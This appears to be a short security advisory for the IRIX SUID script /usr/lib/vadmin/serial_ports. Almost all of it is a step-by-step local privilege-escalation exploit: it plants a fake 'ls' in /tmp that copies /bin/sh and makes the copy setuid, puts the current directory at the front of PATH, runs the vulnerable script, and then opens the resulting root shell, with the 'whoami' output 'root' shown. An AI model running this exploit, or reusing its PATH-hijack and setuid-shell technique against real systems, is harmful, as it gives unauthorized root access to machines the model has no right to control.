COMMAND
/usr/lib/vadmin/serial_ports
SYSTEMS AFFECTED
IRIX
PROBLEM
IRIX Race Conditions with their SUID administration scripts
cat > /tmp/ls
#!/bin/sh
cp /bin/sh /tmp/foo
chmod 4777 /tmp/foo
^D
chmod 755 /tmp/ls
cd /tmp
set PATH=( . $PATH )
/usr/lib/vadmin/serial_ports
# wait about 10-20 seconds and hit ^C, or wait for it to
# die out completely
/tmp/foo
# whoami
root